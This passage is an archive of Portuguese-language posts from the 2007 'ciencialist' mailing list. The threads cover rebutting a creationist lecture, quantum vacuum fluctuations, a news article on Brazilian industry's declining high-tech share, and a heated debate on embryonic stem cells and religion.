contra suas posições menos sólidas. Algo como "se você não compreende
as equações que eu apresentei, como pretende recusar meus argumentos
sobre isso ou aquilo?".

Seria importante desfazer esses truques e enganos em relação a esse
tipo de discurso criacionista.

Um abraço e parabéns mais uma vez pelo excelente trabalho com o texto.

Homero



--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Minhas observações (mais extensas do que o bom senso recomendaria)
sobre a
> palestra do Eduardo Lütz estão disponíveis em:
>
http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-eduardo-ltz-cincia-f.html
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "André L F S Bacci" <andrebacci.listas@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 28, 2007 5:08 PM
> Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR,
Curitiba
>
>
> > Em 26/05/07, Alvaro Augusto (L) <alvaro@...> escreveu:
> > > Preciso de ajuda para rebater os argumentos dele, caso haja
espaço para
> > > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos
> > > Professores
> > > da UTFPR, não pela reitoria ou por algum departamento, e até o
momento
> > > não
> > > sei se conta com o apoio institucional. Espero que não.
>
> Mas se seu resumo é correto, ele está "só reclamando" e não colocando
> nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
> evolução ser religião, mas mais a questão a reclamação reducionista.
>
> Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
> experiência em debates do tipo, tanto ao vivo como na net,
> principalmente contra o pessoal mais falido Design Inteligente. Vale a
> pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
> nos comentários.
>
> E se o rapaz ai realmente for pela linha de "evolução é religião",
> recomendo fortemente a leitura dessa resposta em particular.
>
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-179277
>
> Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
> tinha também uma página no geocites com muito material a respeito. Não
> consigo localizar atrás do proxy que estou (blogs e geocities, no
> way), mas não deve ser impossível de encontrar.
>
> Por último, mas de nenhuma maneira menos importante, os belíssimos
> materiais do talkreason.org, em especial o imprecindível Index to
> Creationist Claims
>
> http://www.talkorigins.org/indexcc/
>
> Em especial
> http://www.talkorigins.org/indexcc/list.html#CA100-CA499
>
> No detalhe do especial
> http://www.talkorigins.org/indexcc/CA/CA220.html
> http://www.talkorigins.org/indexcc/CA/CA612.html
> e
> http://www.talkorigins.org/indexcc/CA/CA610.html
>
> Recomendo levar impresso, e se possível, traduzir.
>
> André
>




SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 16:11

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Uma pergunta (sem muito a ver com o assunto): Pode existir algum lugar
> dentro do universo onde não existe qualquer campo? Nem
> eletromagnético, nem gravitacional... Um vazio absoluto... É
> possível? Eu entendo que não, que um vazio absoluto seja um limite do
> nosso universo.

Em termos quânticos não é possível. Por conta do princípio da
incerteza sempre haverá flutuação da intensidade dos campos - o q leva
ao efeito Casimir.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 16:53

>
>> Uma pergunta (sem muito a ver com o assunto): Pode existir algum lugar
>> dentro do universo onde não existe qualquer campo? Nem
>> eletromagnético, nem gravitacional... Um vazio absoluto... É
>> possível? Eu entendo que não, que um vazio absoluto seja um limite do
>> nosso universo.
>
>Em termos quânticos não é possível. Por conta do princípio da
>incerteza sempre haverá flutuação da intensidade dos campos - o q leva
>ao efeito Casimir.
>
>Roberto Takata
>

Onde tem campos, nunca haveria energia zero, certo? E onde não tem? Só nos
"limites" do universo eu poderia encontrar um "vazio absoluto"?

Não seria possível por causa da relatividade, mas se eu pegasse uma navinha
mas rápida que a luz e ultrapassase todas as ondas provenientes do Big-Bang
eu estaria expandindo o Universo? Ou numa nesta velocidade superior a da luz
eu "furaria" o universo e criaria outro? Estaria transformando um "vazio
absoluto", um "nada" (seriam a mesma coisa?) em espaço-tempo?

[]´,s
Jeff.



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 17:45

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Onde tem campos, nunca haveria energia zero, certo? E onde não tem?
> Só nos "limites" do universo eu poderia encontrar um "vazio
> absoluto"?

Em tese em nenhum lugar seria possível encontrar um espaço
absolutamente vazio - vc poderia ter uma região em q a intensidade de
um dado campo na *média* fosse zero, mas a qq instante dado o valor do
campo seria não-nulo. Isso poderia explicar o porque existe o universo
em lugar de não existir nada - o nada, desse ponto de vista, é
inerentemente instável.

> Não seria possível por causa da relatividade, mas se eu pegasse uma
> navinha mas rápida que a luz e ultrapassase todas as ondas
> provenientes do Big-Bang eu estaria expandindo o Universo?

Algumas especulações sugerem q uma viagem superluminal implicaria em
um tempo negativo - vc estaria viajando no tempo para o passado, nesse
caso encontraria o Universo em contração. Mas são especulações - e a
se aplicar a fórmula relativística, o q teríamos (para massas reais
positivas) é um tempo imaginário (o q poderia ser interpretado como um
tempo de orientação perpendicular a todos os demais eixos - em
particular ao do tempo real).

[]s,

Roberto Takata



SUBJECT: in Jornal da Ciência.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 06/06/2007 17:45

Alta tecnologia perde espaço na produção industrial do país

De 2001 para 2005, caiu a participação dos setores de alta, média-alta e baixa-tecnologia e cresceu a dos setores de média-baixa tecnologia, impulsionada pela elevada demanda por commodities (aço) no mercado mundial e pelo aumento da produção de petróleo e derivados

Chico Santos escreve para o "Valor Econômico":

A participação das atividades de alta tecnologia no conjunto do valor da transformação industrial (VTI) brasileira mostra tendência de queda na primeira metade desta década em proveito dos setores menos intensivos em tecnologia.

Tabulação feita pelo IBGE a pedido do "Valor Econômico", a partir dos dados da Pesquisa Industrial Anual (PIA), mostra que, de 2001 para 2005, caiu a participação dos setores de alta, média-alta e baixa-tecnologia e cresceu a dos setores de média-baixa tecnologia, impulsionada pela elevada demanda por commodities no mercado internacional, como aço, e pelo aumento da produção de petróleo e derivados.

Como o IBGE não tem uma classificação de produtos com base na intensidade tecnológica, foi usado o formato utilizado pela Organização para Cooperação e Desenvolvimento Econômico (OCDE), organismo que reúne os países mais desenvolvidos do mundo.

A metodologia agrupa os setores em alta, média-alta, média-baixa e baixa intensidade tecnológica. O setor de reciclagem foi excluído por ter participação residual.

"O que puxa o crescimento são as indústrias exportadoras e extrativas. Mesmo em bens de consumo, como veículos, o que comandou o crescimento foram as exportações", analisa Sílvio Sales, coordenador de indústria do IBGE.

De acordo com os números, em 2001 os setores de alta tecnologia respondiam por 6,7% do valor da transformação industrial brasileira, participação que caiu para 4,1% em 2005.

Já os setores alinhados como de média-alta tecnologia reduziram a participação de 27,4% para 26,2%. Na soma, média e alta tecnologia passaram de 34,1%, em 2001, para 30,5% em 2005.

Na parte de baixo da tabela, os setores de média-baixa tecnologia - agrupamento que reúne metalurgia básica (ferro e aço) e refino de petróleo - ganhou quase cinco pontos percentuais de participação, passando de 34,8% para 39,2% no período.

Os segmentos de baixa tecnologia mostraram ligeira queda, de 31,1% para 30,3%, em que pese as indústrias extrativas terem elevado a fatia de 2,9% para 4,3%.

"Concordo que a primeira noção (dos números) é negativa. Mas como o valor da transformação inclui quantidade e preço, o barateamento dos bens de alta intensidade (eletrônicos) e a alta de preços das commodities podem ter participação importante nos resultados", pondera Estêvão Kopschitz, da equipe da análise de conjuntura do Instituto de Pesquisa Econômica Aplicada (Ipea).

Sales, do IBGE, aponta o aumento da participação de componentes importados nos bens mais sofisticados produzidos no Brasil como outro provável fator da queda de participação nos setores de alta tecnologia.

A tabela do IBGE agrega três setores entre os de alta intensidade tecnológica.

Todos perderam presença, a começar pela "fabricação de outros equipamentos de transporte", leia-se, aviões, cuja participação oscila ao longo dos cinco anos, mas sempre com tendência de baixa, passando de 2% em 2001 para 1,6% em 2005.

Mais claras são as curvas da produção de máquinas para escritório e de equipamentos de informática, cuja fatia, já reduzida, cai ainda mais, de 1,3% para 0,5%.

A fabricação de material eletrônico e de aparelhos e equipamentos de comunicação perde 1,3 ponto, passando de 3,3% para 2%.

Entre os setores considerados de média-alta intensidade tecnológica, o destaque positivo é a fabricação e montagem de veículos automotores, cuja fatia no valor da transformação passa de 6,5% para 7,9%.

A fabricação de produtos químicos, que engloba um sub-setor incluído na política industrial do governo (fármacos), caiu de 11,6% para 10,1%.

O setor de máquinas e equipamentos, outro da política industrial implementada a partir de março de 2004, caiu de 5,9% para 5,2%.

No agrupamento de média- baixa intensidade tecnológica, os setores de metalurgia básica e fabricação de coque, refino de petróleo e elaboração de combustíveis crescem juntos 5,7 pontos percentuais.

O primeiro passa de 6,2% para 8,1% e o segundo, de 12,5% para 16,3% do valor de transformação da indústria.

Os números, segundo a análise de Kopschitz, do Ipea, e de Sales, do IBGE, refletem claramente o crescimento da quantidade produzida e dos preços da produção dos dois setores no mercado internacional.

O economista do Ipea ressalta que é perfeitamente possível crescer produzindo com eficiência bens considerados de baixo valor agregado.

No bloco de produtos de baixa intensidade tecnológica, já é possível vislumbrar algum efeito da valorização cambial dos últimos anos sobre setores intensivos em mão-de-obra.

A fabricação de produtos têxteis cai de 2,5% para 2%. A confecção de artigos de vestuário passa de 1,7% para 1,4% do total.

A indústria coureiro-calçadista encolhe de 2,1% para 1,6%. O setor de alimentos e bebidas fica estável em 16,1% do valor da transformação da indústria brasileira.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 22:04

Se vc acha deve ser pura verdade, pra você.
Agora, além de acordar, abra os olhos e as idéias que surge numa informação
dessas: onde fica instalada a memória? Calcula-se que o corpo tem suas
células substituídas, totalmente, entre dois a sete anos, a depender da
idade do indivíduo. Isso pode indicar que apesar do material celular de
memória ter sido substituído a memória permanece. Onde? Eis a questão que me
surgiu enquanto refletia sobre o imenso acervo da ciência da Física.
[]s
JR
.....................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 04, 2007 8:45 AM
Subject: Re: [ciencialist] Acorda após 19 anos em coma


Acordei!
E continuo achando que a mensagem nada tem a ver com a C-List!
E continuo achando que a Física é a base da Ciência Hard ... aliás, a única
Ciência!
O resto está em coma.
[]'
Léo
+++++++++++++++++++
De: "José Renato"

Luiz, para vc Ciência se resume apenas à Física?! Está na hora de acordar.
Esse é um dos temas recorrentes na lista: vida, morte, cérebro, consciência,
memória, ser humano...
[]s
JR
...........................................



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Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.7/830 - Release Date: 3/6/2007
12:47




SUBJECT: Re: [ciencialist] P/ Alvaro - Re: Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 23:41

Caro Homero,

Obrigado pelos seus comentários. Eu realmente acho que os criacionistas não
vão se convencer, pois eles aderiram ao criacionismo por meio da fé e não
sairam de lá por meio de evidências. Ainda assim, temos que fazer o possível
para mostrar o ponto de vista da teoria da evolução. Antes dessa palestra eu
pensava que seria um pouco estranho um engenheiro falar sobre evolução, mas
agora que um físico fez (quase) isso, comecei a pensar: por que não?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 06, 2007 4:02 PM
Subject: [ciencialist] P/ Alvaro - Re: Palestra sobre criacionismo na UTFPR,
Curitiba


Olá Alvaro

Fantástico texto, equilibrado, relevante, preciso e muito, muito
instrutivo..:-) E concordo com sua sugestão final, sobre uma palestra
(ou talvez outro texto seu já ajudaria bastante) para esclarecer a
confusão de terminologia e dos conceitos citados.

Mas penso que isso é exatamente o que tentam evitar os criacionistas,
para jogar dentro do mesmo engano a evolução, bem evidenciada até para
os parâmetros mais rigorosos, e fenômenos mais difíceis de determinar,
como a abiogenese. Não penso que seja "por engano" ou descuido que
essa confusão é feita, e não penso que o palestrante não soubesse (ou
tivesse esquecido) dessas diferenças, penso que é tudo muito bem
calculado, estudado, como as equações complexas, que ninguém
entenderia, e que embora não tenham nada a ver com o assunto, dão a
impressão, pelo peso que carregam, que o resto dos argumentos é também
complexo e científico.

É uma estratégia comum, apresente dados e alegações complexas o
bastante para que o interlocutor não as compreenda, e isso vai inibir
as refutações de argumentos mais simplórios, que ele poderia fazer
contra suas posições menos sólidas. Algo como "se você não compreende
as equações que eu apresentei, como pretende recusar meus argumentos
sobre isso ou aquilo?".

Seria importante desfazer esses truques e enganos em relação a esse
tipo de discurso criacionista.

Um abraço e parabéns mais uma vez pelo excelente trabalho com o texto.

Homero



--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Minhas observações (mais extensas do que o bom senso recomendaria)
sobre a
> palestra do Eduardo Lütz estão disponíveis em:
>
http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-eduardo-ltz-cincia-f.html
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "André L F S Bacci" <andrebacci.listas@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 28, 2007 5:08 PM
> Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR,
Curitiba
>
>
> > Em 26/05/07, Alvaro Augusto (L) <alvaro@...> escreveu:
> > > Preciso de ajuda para rebater os argumentos dele, caso haja
espaço para
> > > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos
> > > Professores
> > > da UTFPR, não pela reitoria ou por algum departamento, e até o
momento
> > > não
> > > sei se conta com o apoio institucional. Espero que não.
>
> Mas se seu resumo é correto, ele está "só reclamando" e não colocando
> nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
> evolução ser religião, mas mais a questão a reclamação reducionista.
>
> Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
> experiência em debates do tipo, tanto ao vivo como na net,
> principalmente contra o pessoal mais falido Design Inteligente. Vale a
> pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
> nos comentários.
>
> E se o rapaz ai realmente for pela linha de "evolução é religião",
> recomendo fortemente a leitura dessa resposta em particular.
>
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-179277
>
> Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
> tinha também uma página no geocites com muito material a respeito. Não
> consigo localizar atrás do proxy que estou (blogs e geocities, no
> way), mas não deve ser impossível de encontrar.
>
> Por último, mas de nenhuma maneira menos importante, os belíssimos
> materiais do talkreason.org, em especial o imprecindível Index to
> Creationist Claims
>
> http://www.talkorigins.org/indexcc/
>
> Em especial
> http://www.talkorigins.org/indexcc/list.html#CA100-CA499
>
> No detalhe do especial
> http://www.talkorigins.org/indexcc/CA/CA220.html
> http://www.talkorigins.org/indexcc/CA/CA612.html
> e
> http://www.talkorigins.org/indexcc/CA/CA610.html
>
> Recomendo levar impresso, e se possível, traduzir.
>
> André
>



SUBJECT: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 23:44

Caro Victor,

Obrigado pela sua recomendação a favor do meu blog. Alguém já disse que um
blog é como um cachorro da raça labrador: não é uma criatura muito
inteligente, mas exige atenção e carinho constantes. Assim, o jeito é
continuar escrevendo!

[ ]s

Alvaro Augusto



----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 04, 2007 4:12 PM
Subject: RES: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba


Álvaro,

As "observações" sobre a palestra, por si só, são um tratado lúcido,
completo e esclarecedor, sobre temas tão controversos e difícies,
expressas numa linguagem de gente grande, simples e objetiva. Lamentei
quando chegou ao final.

Volto a recomendar fortemente o blog do Álvaro. Reafirmo minha avaliação
anterior, a respeito.

Farei o seguinte: quando não gostar de alguém, será minha feroz vingança
não recomendar o blog; quando gostar, recomendarei fortemente.

Está cada dia melhor.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: quarta-feira, 6 de junho de 2007 13:26
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba



Minhas observações (mais extensas do que o bom senso recomendaria) sobre a
palestra do Eduardo Lütz estão disponíveis em:
http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-eduardo-ltz-cinc
ia-f.html

[ ]s

Alvaro Augusto

----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com
<mailto:andrebacci.listas%40gmail.com> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Monday, May 28, 2007 5:08 PM
Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba

> Em 26/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br
<mailto:alvaro%40lunabay.com.br> > escreveu:
> > Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
> > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos
> > Professores
> > da UTFPR, não pela reitoria ou por algum departamento, e até o momento
> > não
> > sei se conta com o apoio institucional. Espero que não.

Mas se seu resumo é correto, ele está "só reclamando" e não colocando
nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
evolução ser religião, mas mais a questão a reclamação reducionista.

Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
experiência em debates do tipo, tanto ao vivo como na net,
principalmente contra o pessoal mais falido Design Inteligente. Vale a
pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
nos comentários.

E se o rapaz ai realmente for pela linha de "evolução é religião",
recomendo fortemente a leitura dessa resposta em particular.
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-1792
77

Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
tinha também uma página no geocites com muito material a respeito. Não
consigo localizar atrás do proxy que estou (blogs e geocities, no
way), mas não deve ser impossível de encontrar.

Por último, mas de nenhuma maneira menos importante, os belíssimos
materiais do talkreason.org, em especial o imprecindível Index to
Creationist Claims

http://www.talkorigins.org/indexcc/

Em especial
http://www.talkorigins.org/indexcc/list.html#CA100-CA499

No detalhe do especial
http://www.talkorigins.org/indexcc/CA/CA220.html
http://www.talkorigins.org/indexcc/CA/CA612.html
e
http://www.talkorigins.org/indexcc/CA/CA610.html

Recomendo levar impresso, e se possível, traduzir.

André




SUBJECT: Re: [ciencialist] P/ Reanto (de novo..:-( Re: Ciência & Religião.
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: Acrópolis <acropolis_@yahoogrupos.com.br>
DATE: 06/06/2007 23:52

Caro, Homero!
Estranho que é vc quem tem sempre razão e eu é quem tenho a pretensão de ter
os conhecimentos das divindades!
Veja alguns comentários em seu redundante, pretensioso e prolixo texto
abaixo, após JR, OK?
Para melhor entendimento deles, colo ao final deste e-mail o meu comentário
que vc apagou ao respondê-lo...

...........................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, June 03, 2007 11:52 PM
Subject: [ciencialist] P/ Reanto (de novo..:-( Re: Ciência & Religião.


Olá Renato

A barbárie e a ignorância não dão tréguas, e a cada pronunciamento
racional, consistente e coerente, um ataque obscurantista se segue.

A academica, em seu excelente texto, não se "esqueceu" de nada, pelo
contrário, foi direto ao ponto e com precisão apontou o dano que os
preconceitos e superstições religiosas, de pessoas que se sentem
divinas e inspiradas por divindades imaginárias, causam a toda a
sociedade.

Por exemplo, sua insistência, Renato, cega e obcecada em defender que
um embrião, um agrupamento de células fracamente ligadas, tem o mesmo
status que um bebê recém nascido, uma criança com distrofia muscular,
um adulto plenamente desenvolvido, uma mulher em gestação.
JR - Cega e sem objetivo é a força que vc acredita e professa que criou e
sustenta o Universo... O embrião não é uma agrupamento de células fracamente
ligadas. Sua dinâmica complexa e precisa já tem a mesma estrutura genética
de um indivíduo do gênero humano. Negar isso é insistência cega e obsecada.

E a pretensão e arrogância de se colocar como "portador da verdade
imutável" e todos os que pensam diferentes como "transgressores,
corruptos e agressores criminosos".

Na verdade, as pessoas que defendem o uso de embriões e de células
tronco é que estão verdadeiramente preocupadas com os seres humanos,
com a dor alheia, com as sociedades, e são as que tem a intenção de
sempre melhorar a qualidade de vida e minorar o sofrimento do maior
número possível de pessoas.
JR - É bem provável que, ingenua e tolamente, vc acredite no que está
dizendo. Mas, na verdade, o que as empresas de fertilização in vitro então
tentando de fato é economizar no armazenamento criogênico, na manutenção e
nas cargas de nitrogênio líquido para manter os embriões congelados. O que
as move é grana: para não gastar na manutenção dos embriões e para ganhar
com os novos tratamentos imaginados e prometidos, destruindo embriões
humanos.

Mas tem de lutar contra superstições ancestrais, religiosos
extremados, tolices absurdas e preconceitos arraigados.

Um embrião descartado em fertilizações "in vitro" (que a religião
também quer impedir de ser praticada) não pode ser usado para mais
nada, a não ser o lixo. Mas suas células tronco podem ser usadas para
compreender melhor o funcionamento de nossos organismos, organismos
animais, e minorar a dor alheia. Ainda que fossem seres humanos, o que
não são, não vejo final mais nobre que esse para uma existência, e
nada em mim recusaria ser utilizado dessa forma, se eu mesmo fosse um
embrião nunca nascido.
JR - Sua capacidade mental não está permitindo perceber que muitos
excluídos, sem voz e sem vez, só atrapalham os bem-de-vida. São pessoas que
já têm aspectos semelhantes ao nosso que, assim como os embriões ainda sem
"forma de ser humano", só servem para serem "jogadas no lixo" ou no rio...
Como já fizeram no estado do Rio/Guanabara com os mendigos.

Só o egoísmo tolo de religiosos, que se pretendem divinos filhos de
uma divindade maluca poderia se recusar a ajudar, na absoluta
impossibilidade de fazer qualquer outra coisa, e preferir ir para o
lixo a isso!
JR - É para isso que temos inteligência. Para discernir as consequencias dos
nossos atos e decisões num futuro próximo. O jogo midiático de muitas
clínicas e laboratórios - que detém "a guarda" de embriões congelados - é
fingirem que desejam prestar um grande serviço à humanidade, prometendo
curas de todas as doenças... Matando os filhos de seus clientes-pacientes,
que pagaram muito caro por isso. Assim, eles lucram mais.

Renato: " Usar o termo preconceito, apenas para menosprezar os
conceitos dos meus opositores, é tentar enganar os menos avisados."

Tolice. Preconceito é fazer ilações sem saber do que se fala,
prejulgando com base em superstições. Se meu opositor faz isso, é
preconceituoso, nada mais nada menos. Religiões são preconceituosas
por natureza, não podem evitar. Seu Papa já disse em alto e bom som, a
única religião que salva, a única forma de evitar o inferno, é ser
católico. Isso é preconceito em estado puro.
JR - Uma forma segura de evitar o inferno aqui mesmo na Terra, é conviver
com o que nos rodeia de forma honesta, ética, justa, cuidadosa e respeitosa,
em lugar de tentar levar vantagens para si e seu grupo causando prejuízos
aos demais.

Eu, pessoalmente, menosprezo quem defende preconceitos e superstições,
em detrimento de ajuda a quem precisa e do conhecimento científico que
pode ajudar a todos os seres humanos.
JR - E não pessoalmente, o que você defende?
Essa lucidez vc ainda não demonstra deter... Não devemos prejudicar os
outros mesmo para obter vantagens "científicas". As cobaias humanas do
terceiro mundo e dos países miseráveis - enganadas pelos laboratórios
farmacêuticos do primeiro mundo - que o digam.

Renato: "O ocorrido com Galileu resume-se a briga de poder político e
não a uma questão de ciência, visto que Copérnico já publicara livro
sobre o assunto cerca de 15 anos antes, dedicado ao Papa, seu amigo e
padrinho, maior incentivador de seus inovadores estudos astronômicos."

Sei, sei, e Giordano Bruno foi para a fogueira porque quis, para se
punir de seus pecados, não? E a inquisição foi um santo movimento para
salvar as almas das pessoas, não? Que distorção mais absurda da
história, só poderia sair da mente de religiosos, que tem na distorção
da história a única forma de escapar das crueldades e erros que
permeiam todo seu passado como instituição!
JR - Esses crimes nada têm a ver com a doutrina cristã ou religião. São,
sim, formas de manutenção do poder secular por parte dos donos do mundo
naquela época. O Direito e a Justiça são fundamentais na civilização. O que
não impede que os tribunais estejam mergulhados em corrupção, injustiças e
crimes contra a humanidade. Uma doutrina ou ideal não deve nem pode ser
confundida com as atitudes ou ações dos seres humanos que se comprometem
praticar. São coisas diversas.

Se o vaticano se preocupou com astronomia, foi justamente para evitar
cometer as burrices que cometeu com Galileu, e evitar ser pego de
calças curtas de novo, e passar pelo vexame de proibir a divulgação de
um conhecimento que todos podiam ver que era real e correto.

Parecem que não aprendem, e tentam repetir tudo de novo com as células
tronco embrionárias. E vão falhar, de novo, e de novo, e de novo,
vexame atras de vexame, sem aprender, sem mudar, sem crescer e sem se
tornar adultos, abandonando amigos imaginários e papais do céu.

Renato: "São aos mais frágeis que a Justiça protege. No caso da
célula-tronco não é diferente. "

É totalmente diferente! Células tronco, embriões, mórulas, óvulos
fecundados NÃO são seres humanos, não são passíveis de proteção legal
como um bebê ou adulto.
JR - Vc continua brigando com a realidade! O embrião é um ser humano, na
aparência de embrião... E têm a proteção legal sim. É só ler a nossa
Constituição e os Direitos Humanos Universais aprovado na ONU.

Se acha que não, responda a eterna pergunta (da qual tem fugido como o
diabo da cruz, ou o Papa da razão e da lógica), entre salvar um único
bebê recém nascido e 200 (ou mil, o que quiser) embriões em uma placa
de petri, o que escolheria, Renato? Poderia viver depois de deixar um
bebê morrer em um incêndio, enquanto salvava 200 mórulas em uma placa
de petri???
JR - Tolice, Homero! Esse jogo não diz nada e não define nada. Veja: quem vc
escolheria salvar, seu pai ou sua mãe?; seus filhos ou sua esposa?; sua vida
ou as vidas de seus filhos?...

Não sei se é casado, Renato, mas se for, e se fizer sexo com sua
esposa (vai saber), deve saber também que em cada 10 fecundações, 8
não vingarão e sairão com a menstruação. Você sofre, chora e lamenta
cada um desses 8 óvulos que não se fixa no útero de sua esposa, Renato?
JR - Tolice, Homero! Veja. Vc sabe que há muitas pessoas morrendo
diariamente... Não é por isso que vc vai matar alguém para obter um órgão,
sangue ou células ou seja lá o que for, para tratar ou ajudar um parente ou
amigo...

Se não o faz (e sabemos que não o faz), pode explicar porque não sofre
pela perda de "8 vidas humanas", mas pretende impedir as pesquisas que
permitirão salvar vidas, curar doenças, ou no mínimo nos fazer
entender melhor nossa formação, nosso desenvolvimento, nossa origem e
funcionamento?
JR - Por que então se insiste em destruir seres humanos, em pesquisas,
quando há formas eficazes de pesquisar sem cometer essa violência contra a
humanidade? Esse tipo de pensamento contamina nossa cultura e permite que se
tire a vida por qualquer motivo considerado "muito importante e benéfico"
pelo ou para o criminoso.

Talvez seja isso que o assuste, que assuste o seu Papa e sua religião,
conhecimento científico sobre óvulos, mórulas, gestação, genética,
desenvolvimento, etc, é conhecimento que nos leva cada vez mais a
entender nossa origem animal, material, concreta, não sobrenatural e
não transcendente.
JR - Parece até que só vc e seus amigos têm inteligência e conhecimento
científico... Os religiosos também têm. Só que pesam e avaliam com critérios
éticos-morais, de direito e de justiça o uso desses conhecimentos e
tecnologias, na manutenção da vida na natureza, nela incluída a humanidade.

E isso deve assustar um bocado a quem precisa se manter preso a uma
superstição ancestral para obter conforto e diminuir o medo da vida.
JR - Qual é mesmo a "superstição ancestral" que vc acredita que eu ainda
detenho?

Isso é cansativo, ainda mais em uma lista que discute ciência e
conhecimento científico..:-( Onde todos compreendem que um óvulo
fecundado, que pode vir a ser, ou não, um ser humano, não é o mesmo
que um ser humano pleno, completo e real.
JR - Vc é repetitivo e redundante... Se queixa de ações que vc mesmo toma
iniciativa de realizar! Pode?! Tente continuar se enganando de que o embrião
não é um ser humano. Quem sabe essa superstição infundada lhe traga conforto
na hora dos noves fora - que chega de qualquer modo - quando a consciência
da realidade se instala no cume dos anos vividos e permite uma visão livre
das falsas mas ofuscantes luzes da presunção, do orgulho, da prepotência, da
estupidez...

Homero

Abraços
José Renato

................................................................
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>; "Acrópolis"
<acropolis_@yahoogrupos.com.br>
Cc: <pedraderoseta@yahoogrupos.com.br>
Sent: Sunday, June 03, 2007 11:07 PM
Subject: [Spam] Re: [ciencialist] Ciência & Religião.


> "A mentalidade aberta e desprovida de *preconceitos*, como nos ensinou
> Galileu, é indispensável para a geração do verdadeiro conhecimento."
> (Belita
> Koiller)
> ...................................
> Esqueceu a acadêmica Belita Koiller, que a humanidade desenvolve conceitos
> e
> mantém preconceitos desde sempre. Tudo o que existe hoje em ciência e
> cultura já foi pensado, discutido e experimentado. Usar o termo
> preconceito,
> apenas para menosprezar os conceitos dos meus opositores, é tentar enganar
> os menos avisados. Ela esqueceu que os conceitos de Justiça, Respeito,
> Bondade, Vida, Honra, Existência, Paz, Humanidade, Honestidade, etc. vêm
> sendo construídos a duras penas durante milênios. E sempre há aqueles
> imaturos descontentes que desejam fazer o que lhes passar pela cabeça, sem
> considerar as conseqüência.
>
> O ocorrido com Galileu resume-se a briga de poder político e não a uma
> questão de ciência, visto que Copérnico já publicara livro sobre o assunto
